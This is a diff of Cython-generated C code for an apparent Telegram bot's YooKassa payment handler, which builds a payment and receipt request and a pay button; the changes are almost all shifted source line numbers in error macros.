__Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_REDIRECT_LINK); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 312, __pyx_L21_error) + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_REDIRECT_LINK); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 304, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_11); - __pyx_t_12 = __Pyx_PyObject_FormatSimple(__pyx_t_11, __pyx_empty_unicode); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 312, __pyx_L21_error) + __pyx_t_12 = __Pyx_PyObject_FormatSimple(__pyx_t_11, __pyx_empty_unicode); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 304, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - if (PyDict_SetItem(__pyx_t_4, __pyx_n_u_return_url, __pyx_t_12) < 0) __PYX_ERR(0, 311, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_u_return_url, __pyx_t_12) < 0) __PYX_ERR(0, 303, __pyx_L21_error) __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; - if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_confirmation, __pyx_t_4) < 0) __PYX_ERR(0, 309, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_confirmation, __pyx_t_4) < 0) __PYX_ERR(0, 301, __pyx_L21_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_capture, Py_True) < 0) __PYX_ERR(0, 309, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_capture, Py_True) < 0) __PYX_ERR(0, 301, __pyx_L21_error) - __pyx_t_4 = PyTuple_New(3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 315, __pyx_L21_error) + __pyx_t_4 = PyTuple_New(3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 307, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_13 = 0; __pyx_t_14 = 127; - __Pyx_GetModuleGlobalName(__pyx_t_12, __pyx_n_s_SERVICE_NAME); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 315, __pyx_L21_error) + __Pyx_GetModuleGlobalName(__pyx_t_12, __pyx_n_s_SERVICE_NAME); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 307, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_12); - __pyx_t_11 = __Pyx_PyObject_FormatSimple(__pyx_t_12, __pyx_empty_unicode); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 315, __pyx_L21_error) + __pyx_t_11 = __Pyx_PyObject_FormatSimple(__pyx_t_12, __pyx_empty_unicode); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 307, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __pyx_t_14 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_11) > __pyx_t_14) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_11) : __pyx_t_14; @@ -8776,37 +8774,37 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_ __pyx_t_13 += 1; __Pyx_GIVEREF(__pyx_kp_u__7); PyTuple_SET_ITEM(__pyx_t_4, 1, __pyx_kp_u__7); - __pyx_t_11 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_tg_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 315, __pyx_L21_error) + __pyx_t_11 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_tg_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 307, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_11); __pyx_t_14 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_11) > __pyx_t_14) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_11) : __pyx_t_14; __pyx_t_13 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_11); __Pyx_GIVEREF(__pyx_t_11); PyTuple_SET_ITEM(__pyx_t_4, 2, __pyx_t_11); __pyx_t_11 = 0; - __pyx_t_11 = __Pyx_PyUnicode_Join(__pyx_t_4, 3, __pyx_t_13, __pyx_t_14); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 315, __pyx_L21_error) + __pyx_t_11 = __Pyx_PyUnicode_Join(__pyx_t_4, 3, __pyx_t_13, __pyx_t_14); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 307, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_description, __pyx_t_11) < 0) __PYX_ERR(0, 309, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_description, __pyx_t_11) < 0) __PYX_ERR(0, 301, __pyx_L21_error) __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - __pyx_t_11 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 317, __pyx_L21_error) + __pyx_t_11 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 309, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_11); - __pyx_t_4 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 318, __pyx_L21_error) + __pyx_t_4 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 310, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_4); - __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_from_user); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 318, __pyx_L21_error) + __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_from_user); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 310, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_12); - __pyx_t_15 = __Pyx_PyObject_GetAttrStr(__pyx_t_12, __pyx_n_s_full_name); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 318, __pyx_L21_error) + __pyx_t_15 = __Pyx_PyObject_GetAttrStr(__pyx_t_12, __pyx_n_s_full_name); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 310, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_15); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; - if (PyDict_SetItem(__pyx_t_4, __pyx_n_u_full_name, __pyx_t_15) < 0) __PYX_ERR(0, 318, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_u_full_name, __pyx_t_15) < 0) __PYX_ERR(0, 310, __pyx_L21_error) __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; - __pyx_t_15 = PyTuple_New(3); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 319, __pyx_L21_error) + __pyx_t_15 = PyTuple_New(3); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 311, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_15); __pyx_t_13 = 0; __pyx_t_14 = 127; - __pyx_t_12 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_tg_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 319, __pyx_L21_error) + __pyx_t_12 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_tg_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 311, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_12); __pyx_t_14 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_12) > __pyx_t_14) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_12) : __pyx_t_14; __pyx_t_13 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_12); @@ -8817,9 +8815,9 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_ __pyx_t_13 += 1; __Pyx_GIVEREF(__pyx_kp_u__6); PyTuple_SET_ITEM(__pyx_t_15, 1, __pyx_kp_u__6); - __Pyx_GetModuleGlobalName(__pyx_t_12, __pyx_n_s_EMAIL); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 319, __pyx_L21_error) + __Pyx_GetModuleGlobalName(__pyx_t_12, __pyx_n_s_EMAIL); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 311, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_12); - __pyx_t_16 = __Pyx_PyObject_FormatSimple(__pyx_t_12, __pyx_empty_unicode); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 319, __pyx_L21_error) + __pyx_t_16 = __Pyx_PyObject_FormatSimple(__pyx_t_12, __pyx_empty_unicode); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 311, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_16); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __pyx_t_14 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_16) > __pyx_t_14) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_16) : __pyx_t_14; @@ -8827,24 +8825,24 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_ __Pyx_GIVEREF(__pyx_t_16); PyTuple_SET_ITEM(__pyx_t_15, 2, __pyx_t_16); __pyx_t_16 = 0; - __pyx_t_16 = __Pyx_PyUnicode_Join(__pyx_t_15, 3, __pyx_t_13, __pyx_t_14); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 319, __pyx_L21_error) + __pyx_t_16 = __Pyx_PyUnicode_Join(__pyx_t_15, 3, __pyx_t_13, __pyx_t_14); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 311, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_16); __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; - if (PyDict_SetItem(__pyx_t_4, __pyx_n_u_email, __pyx_t_16) < 0) __PYX_ERR(0, 318, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_u_email, __pyx_t_16) < 0) __PYX_ERR(0, 310, __pyx_L21_error) __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; - if (PyDict_SetItem(__pyx_t_4, __pyx_n_u_phone, __pyx_kp_u_79000000000) < 0) __PYX_ERR(0, 318, __pyx_L21_error) - if (PyDict_SetItem(__pyx_t_11, __pyx_n_u_customer, __pyx_t_4) < 0) __PYX_ERR(0, 317, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_u_phone, __pyx_kp_u_79000000000) < 0) __PYX_ERR(0, 310, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_11, __pyx_n_u_customer, __pyx_t_4) < 0) __PYX_ERR(0, 309, __pyx_L21_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __pyx_t_4 = __Pyx_PyDict_NewPresized(6); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 324, __pyx_L21_error) + __pyx_t_4 = __Pyx_PyDict_NewPresized(6); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 316, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_4); - __pyx_t_16 = PyTuple_New(3); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 324, __pyx_L21_error) + __pyx_t_16 = PyTuple_New(3); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 316, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_16); __pyx_t_13 = 0; __pyx_t_14 = 127; - __Pyx_GetModuleGlobalName(__pyx_t_15, __pyx_n_s_SERVICE_NAME); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 324, __pyx_L21_error) + __Pyx_GetModuleGlobalName(__pyx_t_15, __pyx_n_s_SERVICE_NAME); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 316, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_15); - __pyx_t_12 = __Pyx_PyObject_FormatSimple(__pyx_t_15, __pyx_empty_unicode); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 324, __pyx_L21_error) + __pyx_t_12 = __Pyx_PyObject_FormatSimple(__pyx_t_15, __pyx_empty_unicode); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 316, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; __pyx_t_14 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_12) > __pyx_t_14) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_12) : __pyx_t_14; @@ -8856,52 +8854,52 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_ __pyx_t_13 += 1; __Pyx_GIVEREF(__pyx_kp_u__7); PyTuple_SET_ITEM(__pyx_t_16, 1, __pyx_kp_u__7); - __pyx_t_12 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_tg_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 324, __pyx_L21_error) + __pyx_t_12 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_tg_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 316, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_12); __pyx_t_14 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_12) > __pyx_t_14) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_12) : __pyx_t_14; __pyx_t_13 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_12); __Pyx_GIVEREF(__pyx_t_12); PyTuple_SET_ITEM(__pyx_t_16, 2, __pyx_t_12); __pyx_t_12 = 0; - __pyx_t_12 = __Pyx_PyUnicode_Join(__pyx_t_16, 3, __pyx_t_13, __pyx_t_14); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 324, __pyx_L21_error) + __pyx_t_12 = __Pyx_PyUnicode_Join(__pyx_t_16, 3, __pyx_t_13, __pyx_t_14); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 316, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; - if (PyDict_SetItem(__pyx_t_4, __pyx_n_u_description, __pyx_t_12) < 0) __PYX_ERR(0, 324, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_u_description, __pyx_t_12) < 0) __PYX_ERR(0, 316, __pyx_L21_error) __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; - if (PyDict_SetItem(__pyx_t_4, __pyx_n_u_quantity, __pyx_kp_u_1_00) < 0) __PYX_ERR(0, 324, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_u_quantity, __pyx_kp_u_1_00) < 0) __PYX_ERR(0, 316, __pyx_L21_error) - __pyx_t_12 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 327, __pyx_L21_error) + __pyx_t_12 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 319, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_12); - __pyx_t_16 = __Pyx_PyObject_Unicode(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 327, __pyx_L21_error) + __pyx_t_16 = __Pyx_PyObject_Unicode(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 319, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_16); - if (PyDict_SetItem(__pyx_t_12, __pyx_n_u_value, __pyx_t_16) < 0) __PYX_ERR(0, 327, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_12, __pyx_n_u_value, __pyx_t_16) < 0) __PYX_ERR(0, 319, __pyx_L21_error) __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; - if (PyDict_SetItem(__pyx_t_12, __pyx_n_u_currency, __pyx_n_u_RUB) < 0) __PYX_ERR(0, 327, __pyx_L21_error) - if (PyDict_SetItem(__pyx_t_4, __pyx_n_u_amount, __pyx_t_12) < 0) __PYX_ERR(0, 324, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_12, __pyx_n_u_currency, __pyx_n_u_RUB) < 0) __PYX_ERR(0, 319, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_u_amount, __pyx_t_12) < 0) __PYX_ERR(0, 316, __pyx_L21_error) __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; - if (PyDict_SetItem(__pyx_t_4, __pyx_n_u_vat_code, __pyx_int_1) < 0) __PYX_ERR(0, 324, __pyx_L21_error) - if (PyDict_SetItem(__pyx_t_4, __pyx_n_u_payment_subject, __pyx_n_u_payment) < 0) __PYX_ERR(0, 324, __pyx_L21_error) - if (PyDict_SetItem(__pyx_t_4, __pyx_n_u_payment_mode, __pyx_n_u_full_payment) < 0) __PYX_ERR(0, 324, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_u_vat_code, __pyx_int_1) < 0) __PYX_ERR(0, 316, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_u_payment_subject, __pyx_n_u_payment) < 0) __PYX_ERR(0, 316, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_u_payment_mode, __pyx_n_u_full_payment) < 0) __PYX_ERR(0, 316, __pyx_L21_error) - __pyx_t_12 = PyList_New(1); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 322, __pyx_L21_error) + __pyx_t_12 = PyList_New(1); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 314, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_GIVEREF(__pyx_t_4); - if (__Pyx_PyList_SET_ITEM(__pyx_t_12, 0, __pyx_t_4)) __PYX_ERR(0, 322, __pyx_L21_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_12, 0, __pyx_t_4)) __PYX_ERR(0, 314, __pyx_L21_error); __pyx_t_4 = 0; - if (PyDict_SetItem(__pyx_t_11, __pyx_n_u_items, __pyx_t_12) < 0) __PYX_ERR(0, 317, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_11, __pyx_n_u_items, __pyx_t_12) < 0) __PYX_ERR(0, 309, __pyx_L21_error) __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; - if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_receipt, __pyx_t_11) < 0) __PYX_ERR(0, 309, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_receipt, __pyx_t_11) < 0) __PYX_ERR(0, 301, __pyx_L21_error) __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - __pyx_t_11 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 336, __pyx_L21_error) + __pyx_t_11 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 328, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_11); - if (PyDict_SetItem(__pyx_t_11, __pyx_n_u_user_id, __pyx_cur_scope->__pyx_v_tg_id) < 0) __PYX_ERR(0, 336, __pyx_L21_error) - if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_metadata, __pyx_t_11) < 0) __PYX_ERR(0, 309, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_11, __pyx_n_u_user_id, __pyx_cur_scope->__pyx_v_tg_id) < 0) __PYX_ERR(0, 328, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_metadata, __pyx_t_11) < 0) __PYX_ERR(0, 301, __pyx_L21_error) __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_12, __pyx_n_s_uuid); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 338, __pyx_L21_error) + __Pyx_GetModuleGlobalName(__pyx_t_12, __pyx_n_s_uuid); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 330, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_12); - __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_12, __pyx_n_s_uuid4); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 338, __pyx_L21_error) + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_12, __pyx_n_s_uuid4); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 330, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __pyx_t_12 = NULL; @@ -8922,7 +8920,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_ PyObject *__pyx_callargs[2] = {__pyx_t_12, NULL}; __pyx_t_11 = __Pyx_PyObject_FastCall(__pyx_t_4, __pyx_callargs+1-__pyx_t_5, 0+__pyx_t_5); __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; - if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 338, __pyx_L21_error) + if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 330, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } @@ -8946,7 +8944,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_ __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 307, __pyx_L21_error) + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 299, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } @@ -8954,30 +8952,30 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_ __pyx_cur_scope->__pyx_v_payment = __pyx_t_2; __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_payment, __pyx_n_u_status); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 341, __pyx_L21_error) + __pyx_t_2 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_payment, __pyx_n_u_status); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 333, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_6 = (__Pyx_PyUnicode_Equals(__pyx_t_2, __pyx_n_u_pending, Py_EQ)); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 341, __pyx_L21_error) + __pyx_t_6 = (__Pyx_PyUnicode_Equals(__pyx_t_2, __pyx_n_u_pending, Py_EQ)); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 333, __pyx_L21_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (__pyx_t_6) { - __pyx_t_2 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_payment, __pyx_n_u_confirmation); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 342, __pyx_L21_error) + __pyx_t_2 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_payment, __pyx_n_u_confirmation); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 334, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_1 = __Pyx_PyObject_Dict_GetItem(__pyx_t_2, __pyx_n_u_confirmation_url); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 342, __pyx_L21_error) + __pyx_t_1 = __Pyx_PyObject_Dict_GetItem(__pyx_t_2, __pyx_n_u_confirmation_url); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 334, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GIVEREF(__pyx_t_1); __pyx_cur_scope->__pyx_v_payment_url = __pyx_t_1; __pyx_t_1 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_DEFAULT_PAYMENT_MESSAGE); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 344, __pyx_L21_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_DEFAULT_PAYMENT_MESSAGE); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 336, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_format); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 344, __pyx_L21_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_format); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 336, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 344, __pyx_L21_error) + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 336, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_1); - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_amount, __pyx_cur_scope->__pyx_v_amount) < 0) __PYX_ERR(0, 344, __pyx_L21_error) - __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 344, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_amount, __pyx_cur_scope->__pyx_v_amount) < 0) __PYX_ERR(0, 336, __pyx_L21_error) + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 336, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; @@ -8985,62 +8983,62 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_ __pyx_cur_scope->__pyx_v_payment_message = __pyx_t_11; __pyx_t_11 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_InlineKeyboardMarkup); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 345, __pyx_L21_error) + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_InlineKeyboardMarkup); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 337, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_11); - __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 346, __pyx_L21_error) + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 338, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_1); - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 347, __pyx_L21_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 339, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 347, __pyx_L21_error) + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 339, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_3); - __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_PAY_2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 347, __pyx_L21_error) + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_PAY_2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 339, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_4); - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_t_4) < 0) __PYX_ERR(0, 347, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_t_4) < 0) __PYX_ERR(0, 339, __pyx_L21_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_url, __pyx_cur_scope->__pyx_v_payment_url) < 0) __PYX_ERR(0, 347, __pyx_L21_error) - __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 347, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_url, 